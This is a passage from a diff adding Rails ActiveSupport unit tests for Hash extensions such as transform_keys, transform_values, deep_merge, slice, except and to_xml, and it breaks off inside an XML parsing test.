+class TransformKeysTest < ActiveSupport::TestCase
+  test "transform_keys returns a new hash with the keys computed from the block" do
+    original = { a: "a", b: "b" }
+    mapped = original.transform_keys { |k| "#{k}!".to_sym }
+
+    assert_equal({ a: "a", b: "b" }, original)
+    assert_equal({ a!: "a", b!: "b" }, mapped)
+  end
+
+  test "transform_keys! modifies the keys of the original" do
+    original = { a: "a", b: "b" }
+    mapped = original.transform_keys! { |k| "#{k}!".to_sym }
+
+    assert_equal({ a!: "a", b!: "b" }, original)
+    assert_same original, mapped
+  end
+
+  test "transform_keys returns a sized Enumerator if no block is given" do
+    original = { a: "a", b: "b" }
+    enumerator = original.transform_keys
+    assert_equal original.size, enumerator.size
+    assert_equal Enumerator, enumerator.class
+  end
+
+  test "transform_keys! returns a sized Enumerator if no block is given" do
+    original = { a: "a", b: "b" }
+    enumerator = original.transform_keys!
+    assert_equal original.size, enumerator.size
+    assert_equal Enumerator, enumerator.class
+  end
+
+  test "transform_keys is chainable with Enumerable methods" do
+    original = { a: "a", b: "b" }
+    mapped = original.transform_keys.with_index { |k, i| [k, i].join.to_sym }
+    assert_equal({ a0: "a", b1: "b" }, mapped)
+  end
+
+  test "transform_keys! is chainable with Enumerable methods" do
+    original = { a: "a", b: "b" }
+    original.transform_keys!.with_index { |k, i| [k, i].join.to_sym }
+    assert_equal({ a0: "a", b1: "b" }, original)
+  end
+
+  test "transform_keys returns a Hash instance when self is inherited from Hash" do
+    class HashDescendant < ::Hash
+      def initialize(elements = nil)
+        super(elements)
+        (elements || {}).each_pair { |key, value| self[key] = value }
+      end
+    end
+
+    original = HashDescendant.new(a: "a", b: "b")
+    mapped = original.transform_keys { |k| "#{k}!".to_sym }
+
+    assert_equal({ a: "a", b: "b" }, original)
+    assert_equal({ a!: "a", b!: "b" }, mapped)
+    assert_equal(::Hash, mapped.class)
+  end
+end
diff --git a/activesupport/test/core_ext/hash/transform_values_test.rb b/activesupport/test/core_ext/hash/transform_values_test.rb
new file mode 100644
index 0000000000..d34b7fa7b9
--- /dev/null
+++ b/activesupport/test/core_ext/hash/transform_values_test.rb
@@ -0,0 +1,77 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "active_support/core_ext/hash/indifferent_access"
+require "active_support/core_ext/hash/transform_values"
+
+class TransformValuesTest < ActiveSupport::TestCase
+  test "transform_values returns a new hash with the values computed from the block" do
+    original = { a: "a", b: "b" }
+    mapped = original.transform_values { |v| v + "!" }
+
+    assert_equal({ a: "a", b: "b" }, original)
+    assert_equal({ a: "a!", b: "b!" }, mapped)
+  end
+
+  test "transform_values! modifies the values of the original" do
+    original = { a: "a", b: "b" }
+    mapped = original.transform_values! { |v| v + "!" }
+
+    assert_equal({ a: "a!", b: "b!" }, original)
+    assert_same original, mapped
+  end
+
+  test "indifferent access is still indifferent after mapping values" do
+    original = { a: "a", b: "b" }.with_indifferent_access
+    mapped = original.transform_values { |v| v + "!" }
+
+    assert_equal "a!", mapped[:a]
+    assert_equal "a!", mapped["a"]
+  end
+
+  # This is to be consistent with the behavior of Ruby's built in methods
+  # (e.g. #select, #reject) as of 2.2
+  test "default values do not persist during mapping" do
+    original = Hash.new("foo")
+    original[:a] = "a"
+    mapped = original.transform_values { |v| v + "!" }
+
+    assert_equal "a!", mapped[:a]
+    assert_nil mapped[:b]
+  end
+
+  test "default procs do not persist after mapping" do
+    original = Hash.new { "foo" }
+    original[:a] = "a"
+    mapped = original.transform_values { |v| v + "!" }
+
+    assert_equal "a!", mapped[:a]
+    assert_nil mapped[:b]
+  end
+
+  test "transform_values returns a sized Enumerator if no block is given" do
+    original = { a: "a", b: "b" }
+    enumerator = original.transform_values
+    assert_equal original.size, enumerator.size
+    assert_equal Enumerator, enumerator.class
+  end
+
+  test "transform_values! returns a sized Enumerator if no block is given" do
+    original = { a: "a", b: "b" }
+    enumerator = original.transform_values!
+    assert_equal original.size, enumerator.size
+    assert_equal Enumerator, enumerator.class
+  end
+
+  test "transform_values is chainable with Enumerable methods" do
+    original = { a: "a", b: "b" }
+    mapped = original.transform_values.with_index { |v, i| [v, i].join }
+    assert_equal({ a: "a0", b: "b1" }, mapped)
+  end
+
+  test "transform_values! is chainable with Enumerable methods" do
+    original = { a: "a", b: "b" }
+    original.transform_values!.with_index { |v, i| [v, i].join }
+    assert_equal({ a: "a0", b: "b1" }, original)
+  end
+end
diff --git a/activesupport/test/core_ext/hash_ext_test.rb b/activesupport/test/core_ext/hash_ext_test.rb
new file mode 100644
index 0000000000..746d7ad416
--- /dev/null
+++ b/activesupport/test/core_ext/hash_ext_test.rb
@@ -0,0 +1,1131 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "active_support/core_ext/hash"
+require "bigdecimal"
+require "active_support/core_ext/string/access"
+require "active_support/ordered_hash"
+require "active_support/core_ext/object/conversions"
+require "active_support/core_ext/object/deep_dup"
+require "active_support/inflections"
+
+class HashExtTest < ActiveSupport::TestCase
+  def setup
+    @strings = { "a" => 1, "b" => 2 }
+    @nested_strings = { "a" => { "b" => { "c" => 3 } } }
+    @symbols = { a: 1, b: 2 }
+    @nested_symbols = { a: { b: { c: 3 } } }
+    @mixed = { :a => 1, "b" => 2 }
+    @nested_mixed = { "a" => { b: { "c" => 3 } } }
+    @integers = { 0 => 1, 1 => 2 }
+    @nested_integers = { 0 => { 1 => { 2 => 3 } } }
+    @illegal_symbols = { [] => 3 }
+    @nested_illegal_symbols = { [] => { [] => 3 } }
+    @upcase_strings = { "A" => 1, "B" => 2 }
+    @nested_upcase_strings = { "A" => { "B" => { "C" => 3 } } }
+    @string_array_of_hashes = { "a" => [ { "b" => 2 }, { "c" => 3 }, 4 ] }
+    @symbol_array_of_hashes = { a: [ { b: 2 }, { c: 3 }, 4 ] }
+    @mixed_array_of_hashes = { a: [ { b: 2 }, { "c" => 3 }, 4 ] }
+    @upcase_array_of_hashes = { "A" => [ { "B" => 2 }, { "C" => 3 }, 4 ] }
+  end
+
+  def test_methods
+    h = {}
+    assert_respond_to h, :transform_keys
+    assert_respond_to h, :transform_keys!
+    assert_respond_to h, :deep_transform_keys
+    assert_respond_to h, :deep_transform_keys!
+    assert_respond_to h, :symbolize_keys
+    assert_respond_to h, :symbolize_keys!
+    assert_respond_to h, :deep_symbolize_keys
+    assert_respond_to h, :deep_symbolize_keys!
+    assert_respond_to h, :stringify_keys
+    assert_respond_to h, :stringify_keys!
+    assert_respond_to h, :deep_stringify_keys
+    assert_respond_to h, :deep_stringify_keys!
+    assert_respond_to h, :to_options
+    assert_respond_to h, :to_options!
+    assert_respond_to h, :compact
+    assert_respond_to h, :compact!
+    assert_respond_to h, :except
+    assert_respond_to h, :except!
+  end
+
+  def test_transform_keys
+    assert_equal @upcase_strings, @strings.transform_keys { |key| key.to_s.upcase }
+    assert_equal @upcase_strings, @symbols.transform_keys { |key| key.to_s.upcase }
+    assert_equal @upcase_strings, @mixed.transform_keys { |key| key.to_s.upcase }
+  end
+
+  def test_transform_keys_not_mutates
+    transformed_hash = @mixed.dup
+    transformed_hash.transform_keys { |key| key.to_s.upcase }
+    assert_equal @mixed, transformed_hash
+  end
+
+  def test_deep_transform_keys
+    assert_equal @nested_upcase_strings, @nested_symbols.deep_transform_keys { |key| key.to_s.upcase }
+    assert_equal @nested_upcase_strings, @nested_strings.deep_transform_keys { |key| key.to_s.upcase }
+    assert_equal @nested_upcase_strings, @nested_mixed.deep_transform_keys { |key| key.to_s.upcase }
+    assert_equal @upcase_array_of_hashes, @string_array_of_hashes.deep_transform_keys { |key| key.to_s.upcase }
+    assert_equal @upcase_array_of_hashes, @symbol_array_of_hashes.deep_transform_keys { |key| key.to_s.upcase }
+    assert_equal @upcase_array_of_hashes, @mixed_array_of_hashes.deep_transform_keys { |key| key.to_s.upcase }
+  end
+
+  def test_deep_transform_keys_not_mutates
+    transformed_hash = @nested_mixed.deep_dup
+    transformed_hash.deep_transform_keys { |key| key.to_s.upcase }
+    assert_equal @nested_mixed, transformed_hash
+  end
+
+  def test_transform_keys!
+    assert_equal @upcase_strings, @symbols.dup.transform_keys! { |key| key.to_s.upcase }
+    assert_equal @upcase_strings, @strings.dup.transform_keys! { |key| key.to_s.upcase }
+    assert_equal @upcase_strings, @mixed.dup.transform_keys! { |key| key.to_s.upcase }
+  end
+
+  def test_transform_keys_with_bang_mutates
+    transformed_hash = @mixed.dup
+    transformed_hash.transform_keys! { |key| key.to_s.upcase }
+    assert_equal @upcase_strings, transformed_hash
+    assert_equal({ :a => 1, "b" => 2 }, @mixed)
+  end
+
+  def test_deep_transform_keys!
+    assert_equal @nested_upcase_strings, @nested_symbols.deep_dup.deep_transform_keys! { |key| key.to_s.upcase }
+    assert_equal @nested_upcase_strings, @nested_strings.deep_dup.deep_transform_keys! { |key| key.to_s.upcase }
+    assert_equal @nested_upcase_strings, @nested_mixed.deep_dup.deep_transform_keys! { |key| key.to_s.upcase }
+    assert_equal @upcase_array_of_hashes, @string_array_of_hashes.deep_dup.deep_transform_keys! { |key| key.to_s.upcase }
+    assert_equal @upcase_array_of_hashes, @symbol_array_of_hashes.deep_dup.deep_transform_keys! { |key| key.to_s.upcase }
+    assert_equal @upcase_array_of_hashes, @mixed_array_of_hashes.deep_dup.deep_transform_keys! { |key| key.to_s.upcase }
+  end
+
+  def test_deep_transform_keys_with_bang_mutates
+    transformed_hash = @nested_mixed.deep_dup
+    transformed_hash.deep_transform_keys! { |key| key.to_s.upcase }
+    assert_equal @nested_upcase_strings, transformed_hash
+    assert_equal({ "a" => { b: { "c" => 3 } } }, @nested_mixed)
+  end
+
+  def test_symbolize_keys
+    assert_equal @symbols, @symbols.symbolize_keys
+    assert_equal @symbols, @strings.symbolize_keys
+    assert_equal @symbols, @mixed.symbolize_keys
+  end
+
+  def test_symbolize_keys_not_mutates
+    transformed_hash = @mixed.dup
+    transformed_hash.symbolize_keys
+    assert_equal @mixed, transformed_hash
+  end
+
+  def test_deep_symbolize_keys
+    assert_equal @nested_symbols, @nested_symbols.deep_symbolize_keys
+    assert_equal @nested_symbols, @nested_strings.deep_symbolize_keys
+    assert_equal @nested_symbols, @nested_mixed.deep_symbolize_keys
+    assert_equal @symbol_array_of_hashes, @string_array_of_hashes.deep_symbolize_keys
+    assert_equal @symbol_array_of_hashes, @symbol_array_of_hashes.deep_symbolize_keys
+    assert_equal @symbol_array_of_hashes, @mixed_array_of_hashes.deep_symbolize_keys
+  end
+
+  def test_deep_symbolize_keys_not_mutates
+    transformed_hash = @nested_mixed.deep_dup
+    transformed_hash.deep_symbolize_keys
+    assert_equal @nested_mixed, transformed_hash
+  end
+
+  def test_symbolize_keys!
+    assert_equal @symbols, @symbols.dup.symbolize_keys!
+    assert_equal @symbols, @strings.dup.symbolize_keys!
+    assert_equal @symbols, @mixed.dup.symbolize_keys!
+  end
+
+  def test_symbolize_keys_with_bang_mutates
+    transformed_hash = @mixed.dup
+    transformed_hash.deep_symbolize_keys!
+    assert_equal @symbols, transformed_hash
+    assert_equal({ :a => 1, "b" => 2 }, @mixed)
+  end
+
+  def test_deep_symbolize_keys!
+    assert_equal @nested_symbols, @nested_symbols.deep_dup.deep_symbolize_keys!
+    assert_equal @nested_symbols, @nested_strings.deep_dup.deep_symbolize_keys!
+    assert_equal @nested_symbols, @nested_mixed.deep_dup.deep_symbolize_keys!
+    assert_equal @symbol_array_of_hashes, @string_array_of_hashes.deep_dup.deep_symbolize_keys!
+    assert_equal @symbol_array_of_hashes, @symbol_array_of_hashes.deep_dup.deep_symbolize_keys!
+    assert_equal @symbol_array_of_hashes, @mixed_array_of_hashes.deep_dup.deep_symbolize_keys!
+  end
+
+  def test_deep_symbolize_keys_with_bang_mutates
+    transformed_hash = @nested_mixed.deep_dup
+    transformed_hash.deep_symbolize_keys!
+    assert_equal @nested_symbols, transformed_hash
+    assert_equal({ "a" => { b: { "c" => 3 } } }, @nested_mixed)
+  end
+
+  def test_symbolize_keys_preserves_keys_that_cant_be_symbolized
+    assert_equal @illegal_symbols, @illegal_symbols.symbolize_keys
+    assert_equal @illegal_symbols, @illegal_symbols.dup.symbolize_keys!
+  end
+
+  def test_deep_symbolize_keys_preserves_keys_that_cant_be_symbolized
+    assert_equal @nested_illegal_symbols, @nested_illegal_symbols.deep_symbolize_keys
+    assert_equal @nested_illegal_symbols, @nested_illegal_symbols.deep_dup.deep_symbolize_keys!
+  end
+
+  def test_symbolize_keys_preserves_integer_keys
+    assert_equal @integers, @integers.symbolize_keys
+    assert_equal @integers, @integers.dup.symbolize_keys!
+  end
+
+  def test_deep_symbolize_keys_preserves_integer_keys
+    assert_equal @nested_integers, @nested_integers.deep_symbolize_keys
+    assert_equal @nested_integers, @nested_integers.deep_dup.deep_symbolize_keys!
+  end
+
+  def test_stringify_keys
+    assert_equal @strings, @symbols.stringify_keys
+    assert_equal @strings, @strings.stringify_keys
+    assert_equal @strings, @mixed.stringify_keys
+  end
+
+  def test_stringify_keys_not_mutates
+    transformed_hash = @mixed.dup
+    transformed_hash.stringify_keys
+    assert_equal @mixed, transformed_hash
+  end
+
+  def test_deep_stringify_keys
+    assert_equal @nested_strings, @nested_symbols.deep_stringify_keys
+    assert_equal @nested_strings, @nested_strings.deep_stringify_keys
+    assert_equal @nested_strings, @nested_mixed.deep_stringify_keys
+    assert_equal @string_array_of_hashes, @string_array_of_hashes.deep_stringify_keys
+    assert_equal @string_array_of_hashes, @symbol_array_of_hashes.deep_stringify_keys
+    assert_equal @string_array_of_hashes, @mixed_array_of_hashes.deep_stringify_keys
+  end
+
+  def test_deep_stringify_keys_not_mutates
+    transformed_hash = @nested_mixed.deep_dup
+    transformed_hash.deep_stringify_keys
+    assert_equal @nested_mixed, transformed_hash
+  end
+
+  def test_stringify_keys!
+    assert_equal @strings, @symbols.dup.stringify_keys!
+    assert_equal @strings, @strings.dup.stringify_keys!
+    assert_equal @strings, @mixed.dup.stringify_keys!
+  end
+
+  def test_stringify_keys_with_bang_mutates
+    transformed_hash = @mixed.dup
+    transformed_hash.stringify_keys!
+    assert_equal @strings, transformed_hash
+    assert_equal({ :a => 1, "b" => 2 }, @mixed)
+  end
+
+  def test_deep_stringify_keys!
+    assert_equal @nested_strings, @nested_symbols.deep_dup.deep_stringify_keys!
+    assert_equal @nested_strings, @nested_strings.deep_dup.deep_stringify_keys!
+    assert_equal @nested_strings, @nested_mixed.deep_dup.deep_stringify_keys!
+    assert_equal @string_array_of_hashes, @string_array_of_hashes.deep_dup.deep_stringify_keys!
+    assert_equal @string_array_of_hashes, @symbol_array_of_hashes.deep_dup.deep_stringify_keys!
+    assert_equal @string_array_of_hashes, @mixed_array_of_hashes.deep_dup.deep_stringify_keys!
+  end
+
+  def test_deep_stringify_keys_with_bang_mutates
+    transformed_hash = @nested_mixed.deep_dup
+    transformed_hash.deep_stringify_keys!
+    assert_equal @nested_strings, transformed_hash
+    assert_equal({ "a" => { b: { "c" => 3 } } }, @nested_mixed)
+  end
+
+  def test_assert_valid_keys
+    assert_nothing_raised do
+      { failure: "stuff", funny: "business" }.assert_valid_keys([ :failure, :funny ])
+      { failure: "stuff", funny: "business" }.assert_valid_keys(:failure, :funny)
+    end
+    # not all valid keys are required to be present
+    assert_nothing_raised do
+      { failure: "stuff", funny: "business" }.assert_valid_keys([ :failure, :funny, :sunny ])
+      { failure: "stuff", funny: "business" }.assert_valid_keys(:failure, :funny, :sunny)
+    end
+
+    exception = assert_raise ArgumentError do
+      { failore: "stuff", funny: "business" }.assert_valid_keys([ :failure, :funny ])
+    end
+    assert_equal "Unknown key: :failore. Valid keys are: :failure, :funny", exception.message
+
+    exception = assert_raise ArgumentError do
+      { failore: "stuff", funny: "business" }.assert_valid_keys(:failure, :funny)
+    end
+    assert_equal "Unknown key: :failore. Valid keys are: :failure, :funny", exception.message
+
+    exception = assert_raise ArgumentError do
+      { failore: "stuff", funny: "business" }.assert_valid_keys([ :failure ])
+    end
+    assert_equal "Unknown key: :failore. Valid keys are: :failure", exception.message
+
+    exception = assert_raise ArgumentError do
+      { failore: "stuff", funny: "business" }.assert_valid_keys(:failure)
+    end
+    assert_equal "Unknown key: :failore. Valid keys are: :failure", exception.message
+  end
+
+  def test_deep_merge
+    hash_1 = { a: "a", b: "b", c: { c1: "c1", c2: "c2", c3: { d1: "d1" } } }
+    hash_2 = { a: 1, c: { c1: 2, c3: { d2: "d2" } } }
+    expected = { a: 1, b: "b", c: { c1: 2, c2: "c2", c3: { d1: "d1", d2: "d2" } } }
+    assert_equal expected, hash_1.deep_merge(hash_2)
+
+    hash_1.deep_merge!(hash_2)
+    assert_equal expected, hash_1
+  end
+
+  def test_deep_merge_with_block
+    hash_1 = { a: "a", b: "b", c: { c1: "c1", c2: "c2", c3: { d1: "d1" } } }
+    hash_2 = { a: 1, c: { c1: 2, c3: { d2: "d2" } } }
+    expected = { a: [:a, "a", 1], b: "b", c: { c1: [:c1, "c1", 2], c2: "c2", c3: { d1: "d1", d2: "d2" } } }
+    assert_equal(expected, hash_1.deep_merge(hash_2) { |k, o, n| [k, o, n] })
+
+    hash_1.deep_merge!(hash_2) { |k, o, n| [k, o, n] }
+    assert_equal expected, hash_1
+  end
+
+  def test_deep_merge_with_falsey_values
+    hash_1 = { e: false }
+    hash_2 = { e: "e" }
+    expected = { e: [:e, false, "e"] }
+    assert_equal(expected, hash_1.deep_merge(hash_2) { |k, o, n| [k, o, n] })
+
+    hash_1.deep_merge!(hash_2) { |k, o, n| [k, o, n] }
+    assert_equal expected, hash_1
+  end
+
+  def test_reverse_merge
+    defaults = { d: 0, a: "x", b: "y", c: 10 }.freeze
+    options  = { a: 1, b: 2 }
+    expected = { d: 0, a: 1, b: 2, c: 10 }
+
+    # Should merge defaults into options, creating a new hash.
+    assert_equal expected, options.reverse_merge(defaults)
+    assert_not_equal expected, options
+
+    # Should merge! defaults into options, replacing options.
+    merged = options.dup
+    assert_equal expected, merged.reverse_merge!(defaults)
+    assert_equal expected, merged
+
+    # Make the order consistent with the non-overwriting reverse merge.
+    assert_equal expected.keys, merged.keys
+
+    # Should be an alias for reverse_merge!
+    merged = options.dup
+    assert_equal expected, merged.reverse_update(defaults)
+    assert_equal expected, merged
+  end
+
+  def test_with_defaults_aliases_reverse_merge
+    defaults = { a: "x", b: "y", c: 10 }.freeze
+    options  = { a: 1, b: 2 }
+    expected = { a: 1, b: 2, c: 10 }
+
+    # Should be an alias for reverse_merge
+    assert_equal expected, options.with_defaults(defaults)
+    assert_not_equal expected, options
+
+    # Should be an alias for reverse_merge!
+    merged = options.dup
+    assert_equal expected, merged.with_defaults!(defaults)
+    assert_equal expected, merged
+  end
+
+  def test_slice
+    original = { a: "x", b: "y", c: 10 }
+    expected = { a: "x", b: "y" }
+
+    # Should return a new hash with only the given keys.
+    assert_equal expected, original.slice(:a, :b)
+    assert_not_equal expected, original
+  end
+
+  def test_slice_inplace
+    original = { a: "x", b: "y", c: 10 }
+    expected = { c: 10 }
+
+    # Should replace the hash with only the given keys.
+    assert_equal expected, original.slice!(:a, :b)
+  end
+
+  def test_slice_with_an_array_key
+    original = { :a => "x", :b => "y", :c => 10, [:a, :b] => "an array key" }
+    expected = { [:a, :b] => "an array key", :c => 10 }
+
+    # Should return a new hash with only the given keys when given an array key.
+    assert_equal expected, original.slice([:a, :b], :c)
+    assert_not_equal expected, original
+  end
+
+  def test_slice_inplace_with_an_array_key
+    original = { :a => "x", :b => "y", :c => 10, [:a, :b] => "an array key" }
+    expected = { a: "x", b: "y" }
+
+    # Should replace the hash with only the given keys when given an array key.
+    assert_equal expected, original.slice!([:a, :b], :c)
+  end
+
+  def test_slice_with_splatted_keys
+    original = { :a => "x", :b => "y", :c => 10, [:a, :b] => "an array key" }
+    expected = { a: "x", b: "y" }
+
+    # Should grab each of the splatted keys.
+    assert_equal expected, original.slice(*[:a, :b])
+  end
+
+  def test_slice_bang_does_not_override_default
+    hash = Hash.new(0)
+    hash.update(a: 1, b: 2)
+
+    hash.slice!(:a)
+
+    assert_equal 0, hash[:c]
+  end
+
+  def test_slice_bang_does_not_override_default_proc
+    hash = Hash.new { |h, k| h[k] = [] }
+    hash.update(a: 1, b: 2)
+
+    hash.slice!(:a)
+
+    assert_equal [], hash[:c]
+  end
+
+  def test_extract
+    original = { a: 1, b: 2, c: 3, d: 4 }
+    expected = { a: 1, b: 2 }
+    remaining = { c: 3, d: 4 }
+
+    assert_equal expected, original.extract!(:a, :b, :x)
+    assert_equal remaining, original
+  end
+
+  def test_extract_nils
+    original = { a: nil, b: nil }
+    expected = { a: nil }
+    extracted = original.extract!(:a, :x)
+
+    assert_equal expected, extracted
+    assert_nil extracted[:a]
+    assert_nil extracted[:x]
+  end
+
+  def test_except
+    original = { a: "x", b: "y", c: 10 }
+    expected = { a: "x", b: "y" }
+
+    # Should return a new hash without the given keys.
+    assert_equal expected, original.except(:c)
+    assert_not_equal expected, original
+
+    # Should replace the hash without the given keys.
+    assert_equal expected, original.except!(:c)
+    assert_equal expected, original
+  end
+
+  def test_except_with_more_than_one_argument
+    original = { a: "x", b: "y", c: 10 }
+    expected = { a: "x" }
+
+    assert_equal expected, original.except(:b, :c)
+
+    assert_equal expected, original.except!(:b, :c)
+    assert_equal expected, original
+  end
+
+  def test_except_with_original_frozen
+    original = { a: "x", b: "y" }
+    original.freeze
+    assert_nothing_raised { original.except(:a) }
+
+    assert_raise(RuntimeError) { original.except!(:a) }
+  end
+
+  def test_except_does_not_delete_values_in_original
+    original = { a: "x", b: "y" }
+    assert_not_called(original, :delete) do
+      original.except(:a)
+    end
+  end
+
+  def test_compact
+    hash_contain_nil_value = @symbols.merge(z: nil)
+    hash_with_only_nil_values = { a: nil, b: nil }
+
+    h = hash_contain_nil_value.dup
+    assert_equal(@symbols, h.compact)
+    assert_equal(hash_contain_nil_value, h)
+
+    h = hash_with_only_nil_values.dup
+    assert_equal({}, h.compact)
+    assert_equal(hash_with_only_nil_values, h)
+
+    h = @symbols.dup
+    assert_equal(@symbols, h.compact)
+    assert_equal(@symbols, h)
+  end
+
+  def test_compact!
+    hash_contain_nil_value = @symbols.merge(z: nil)
+    hash_with_only_nil_values = { a: nil, b: nil }
+
+    h = hash_contain_nil_value.dup
+    assert_equal(@symbols, h.compact!)
+    assert_equal(@symbols, h)
+
+    h = hash_with_only_nil_values.dup
+    assert_equal({}, h.compact!)
+    assert_equal({}, h)
+
+    h = @symbols.dup
+    assert_nil(h.compact!)
+    assert_equal(@symbols, h)
+  end
+end
+
+class IWriteMyOwnXML
+  def to_xml(options = {})
+    options[:indent] ||= 2
+    xml = options[:builder] ||= Builder::XmlMarkup.new(indent: options[:indent])
+    xml.instruct! unless options[:skip_instruct]
+    xml.level_one do
+      xml.tag!(:second_level, "content")
+    end
+  end
+end
+
+class HashExtToParamTests < ActiveSupport::TestCase
+  class ToParam < String
+    def to_param
+      "#{self}-1"
+    end
+  end
+
+  def test_string_hash
+    assert_equal "", {}.to_param
+    assert_equal "hello=world", { hello: "world" }.to_param
+    assert_equal "hello=10", { "hello" => 10 }.to_param
+    assert_equal "hello=world&say_bye=true", { :hello => "world", "say_bye" => true }.to_param
+  end
+
+  def test_number_hash
+    assert_equal "10=20&30=40&50=60", { 10 => 20, 30 => 40, 50 => 60 }.to_param
+  end
+
+  def test_to_param_hash
+    assert_equal "custom-1=param-1&custom2-1=param2-1", { ToParam.new("custom") => ToParam.new("param"), ToParam.new("custom2") => ToParam.new("param2") }.to_param
+  end
+
+  def test_to_param_hash_escapes_its_keys_and_values
+    assert_equal "param+1=A+string+with+%2F+characters+%26+that+should+be+%3F+escaped", { "param 1" => "A string with / characters & that should be ? escaped" }.to_param
+  end
+
+  def test_to_param_orders_by_key_in_ascending_order
+    assert_equal "a=2&b=1&c=0", Hash[*%w(b 1 c 0 a 2)].to_param
+  end
+end
+
+class HashToXmlTest < ActiveSupport::TestCase
+  def setup
+    @xml_options = { root: :person, skip_instruct: true, indent: 0 }
+  end
+
+  def test_one_level
+    xml = { name: "David", street: "Paulina" }.to_xml(@xml_options)
+    assert_equal "<person>", xml.first(8)
+    assert_includes xml, %(<street>Paulina</street>)
+    assert_includes xml, %(<name>David</name>)
+  end
+
+  def test_one_level_dasherize_false
+    xml = { name: "David", street_name: "Paulina" }.to_xml(@xml_options.merge(dasherize: false))
+    assert_equal "<person>", xml.first(8)
+    assert_includes xml, %(<street_name>Paulina</street_name>)
+    assert_includes xml, %(<name>David</name>)
+  end
+
+  def test_one_level_dasherize_true
+    xml = { name: "David", street_name: "Paulina" }.to_xml(@xml_options.merge(dasherize: true))
+    assert_equal "<person>", xml.first(8)
+    assert_includes xml, %(<street-name>Paulina</street-name>)
+    assert_includes xml, %(<name>David</name>)
+  end
+
+  def test_one_level_camelize_true
+    xml = { name: "David", street_name: "Paulina" }.to_xml(@xml_options.merge(camelize: true))
+    assert_equal "<Person>", xml.first(8)
+    assert_includes xml, %(<StreetName>Paulina</StreetName>)
+    assert_includes xml, %(<Name>David</Name>)
+  end
+
+  def test_one_level_camelize_lower
+    xml = { name: "David", street_name: "Paulina" }.to_xml(@xml_options.merge(camelize: :lower))
+    assert_equal "<person>", xml.first(8)
+    assert_includes xml, %(<streetName>Paulina</streetName>)
+    assert_includes xml, %(<name>David</name>)
+  end
+
+  def test_one_level_with_types
+    xml = { name: "David", street: "Paulina", age: 26, age_in_millis: 820497600000, moved_on: Date.new(2005, 11, 15), resident: :yes }.to_xml(@xml_options)
+    assert_equal "<person>", xml.first(8)
+    assert_includes xml, %(<street>Paulina</street>)
+    assert_includes xml, %(<name>David</name>)
+    assert_includes xml, %(<age type="integer">26</age>)
+    assert_includes xml, %(<age-in-millis type="integer">820497600000</age-in-millis>)
+    assert_includes xml, %(<moved-on type="date">2005-11-15</moved-on>)
+    assert_includes xml, %(<resident type="symbol">yes</resident>)
+  end
+
+  def test_one_level_with_nils
+    xml = { name: "David", street: "Paulina", age: nil }.to_xml(@xml_options)
+    assert_equal "<person>", xml.first(8)
+    assert_includes xml, %(<street>Paulina</street>)
+    assert_includes xml, %(<name>David</name>)
+    assert_includes xml, %(<age nil="true"/>)
+  end
+
+  def test_one_level_with_skipping_types
+    xml = { name: "David", street: "Paulina", age: nil }.to_xml(@xml_options.merge(skip_types: true))
+    assert_equal "<person>", xml.first(8)
+    assert_includes xml, %(<street>Paulina</street>)
+    assert_includes xml, %(<name>David</name>)
+    assert_includes xml, %(<age nil="true"/>)
+  end
+
+  def test_one_level_with_yielding
+    xml = { name: "David", street: "Paulina" }.to_xml(@xml_options) do |x|
+      x.creator("Rails")
+    end
+
+    assert_equal "<person>", xml.first(8)
+    assert_includes xml, %(<street>Paulina</street>)
+    assert_includes xml, %(<name>David</name>)
+    assert_includes xml, %(<creator>Rails</creator>)
+  end
+
+  def test_two_levels
+    xml = { name: "David", address: { street: "Paulina" } }.to_xml(@xml_options)
+    assert_equal "<person>", xml.first(8)
+    assert_includes xml, %(<address><street>Paulina</street></address>)
+    assert_includes xml, %(<name>David</name>)
+  end
+
+  def test_two_levels_with_second_level_overriding_to_xml
+    xml = { name: "David", address: { street: "Paulina" }, child: IWriteMyOwnXML.new }.to_xml(@xml_options)
+    assert_equal "<person>", xml.first(8)
+    assert_includes xml, %(<address><street>Paulina</street></address>)
+    assert_includes xml, %(<level_one><second_level>content</second_level></level_one>)
+  end
+
+  def test_two_levels_with_array
+    xml = { name: "David", addresses: [{ street: "Paulina" }, { street: "Evergreen" }] }.to_xml(@xml_options)
+    assert_equal "<person>", xml.first(8)
+    assert_includes xml, %(<addresses type="array"><address>)
+    assert_includes xml, %(<address><street>Paulina</street></address>)
+    assert_includes xml, %(<address><street>Evergreen</street></address>)
+    assert_includes xml, %(<name>David</name>)
+  end
+
+  def test_three_levels_with_array
+    xml = { name: "David", addresses: [{ streets: [ { name: "Paulina" }, { name: "Paulina" } ] } ] }.to_xml(@xml_options)
+    assert_includes xml, %(<addresses type="array"><address><streets type="array"><street><name>)
+  end
+
+  def test_timezoned_attributes
+    xml = {
+      created_at: Time.utc(1999, 2, 2),
+      local_created_at: Time.utc(1999, 2, 2).in_time_zone("Eastern Time (US & Canada)")
+    }.to_xml(@xml_options)
+    assert_match %r{<created-at type=\"dateTime\">1999-02-02T00:00:00Z</created-at>}, xml
+    assert_match %r{<local-created-at type=\"dateTime\">1999-02-01T19:00:00-05:00</local-created-at>}, xml
+  end
+
+  def test_multiple_records_from_xml_with_attributes_other_than_type_ignores_them_without_exploding
+    topics_xml = <<-EOT
+      <topics type="array" page="1" page-count="1000" per-page="2">
+        <topic>
+          <title>The First Topic</title>
+          <author-name>David</author-name>
+          <id type="integer">1</id>
+          <approved type="boolean">false</approved>
+          <replies-count type="integer">0</replies-count>
+          <replies-close-in type="integer">2592000000</replies-close-in>
+          <written-on type="date">2003-07-16</written-on>
+          <viewed-at type="datetime">2003-07-16T09:28:00+0000</viewed-at>
+          <content>Have a nice day</content>
+          <author-email-address>david@loudthinking.com</author-email-address>
+          <parent-id nil="true"></parent-id>
+        </topic>
+        <topic>
+          <title>The Second Topic</title>
+          <author-name>Jason</author-name>
+          <id type="integer">1</id>
+          <approved type="boolean">false</approved>
+          <replies-count type="integer">0</replies-count>
+          <replies-close-in type="integer">2592000000</replies-close-in>
+          <written-on type="date">2003-07-16</written-on>
+          <viewed-at type="datetime">2003-07-16T09:28:00+0000</viewed-at>
+          <content>Have a nice day</content>
+          <author-email-address>david@loudthinking.com</author-email-address>
+          <parent-id></parent-id>
+        </topic>
+      </topics>
+    EOT
+
+    expected_topic_hash = {
+      title: "The First Topic",
+      author_name: "David",
+      id: 1,
+      approved: false,
+      replies_count: 0,
+      replies_close_in: 2592000000,
+      written_on: Date.new(2003, 7, 16),
+      viewed_at: Time.utc(2003, 7, 16, 9, 28),
+      content: "Have a nice day",
